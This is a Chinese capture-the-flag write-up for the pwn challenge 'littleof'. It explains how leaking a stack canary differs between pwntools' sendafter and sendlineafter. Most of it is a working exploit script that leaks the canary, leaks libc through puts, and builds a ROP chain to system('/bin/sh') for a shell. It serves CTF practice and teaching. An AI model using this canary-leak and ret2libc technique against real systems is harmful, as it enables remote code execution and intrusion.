问题
思路
这道题思路其实很明确的:
泄露canary -> 泄露libc -> 泄露canary -> get_sehll
但这道题花了很长的时间,就是因为这里泄露 canary
出现了问题,拿到的 canary
值始终不对,到底后续没法进行,但最离谱的是,报错的地方都在 泄露 libc
的代码处,导致花了很久很久来找该部分的错误,最后发现错误原来在上面(笑),挺好,下次泄露 canary
绝对不会写错!
具体看EXP中两次泄露 canary
写法的不同,换行符是关键:
- io.sendlineafter():本身会多读入一个换行符,io.recvuntil()掉填充字节之后,还有一个换行符的,所以一定要读入8个字节的
canary
,然后将\x0a
给去掉,即可等到正确的canary
- io.sendafter()是不会发送换行符的,所以要多读入一个填充字节,将
canary
最低位的\x00
给覆盖掉才行。
EXP
from pwn import *
from pwn import u64,p64
from LibcSearcher import LibcSearcher
context(log_level = 'debug',arch = 'amd64',os = 'linux')
# node4.anna.nssctf.cn:28415
io = remote('node4.anna.nssctf.cn',28415)
# io = process('./littleof')
elf = ELF('./littleof')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#rop = ROP('./xxx')
# canary
# 注意这里和下面泄露 canary 写法的不同
canary1_num = 0x50 - 0x8
payload = b"a" * canary1_num
delimiter = b"overflow?"
io.sendlineafter(delimiter,payload)
io.recvuntil(b"a" * canary1_num)
canary = u64(io.recv(8)[1:].rjust(8,b"\x00"))
log.success("Canary: " + (hex(canary)))
# puts
num = 0x50 - 0x8
main_addr = 0x4006e2
ret_addr = 0x40059e
pop_rdi_ret_addr = 0x400863
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
payload = b"a" * num + p64(canary) + p64(0) + p64(pop_rdi_ret_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
delimiter = b"harder!"
io.sendlineafter(delimiter,payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success("puts_addr: " + (hex(puts_addr)))
# libc = LibcSearcher('puts',puts_addr)
libc_base_addr = puts_addr - 0x80aa0
system_addr = libc_base_addr + 0x4f550
binsh_addr = libc_base_addr + 0x1b3e1a
# canary
canary2_num = 0x50 - 0x8 + 0x1
payload = b"a" * canary2_num
delimiter = b"overflow?"
io.sendafter(delimiter,payload)
io.recvuntil(b"a" * canary2_num)
canary = u64(io.recv(7).rjust(8,b"\x00"))
log.success("Canary: " + (hex(canary)))
# 栈对齐
payload = b"a" * num + p64(canary) + p64(0) + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
delimiter = b"harder!"
io.sendlineafter(delimiter,payload)
io.interactive()
总结
- 注意 sendafter 与 sendlineafter 之间差一个换行符(
\x0a
) - 泄露 canary 时,要覆盖其最低位的
\x00
- 切记 canary 是
rbp - 0x8
,所以返回地址是在rbp + 0x8
处,不要忘记覆盖rbp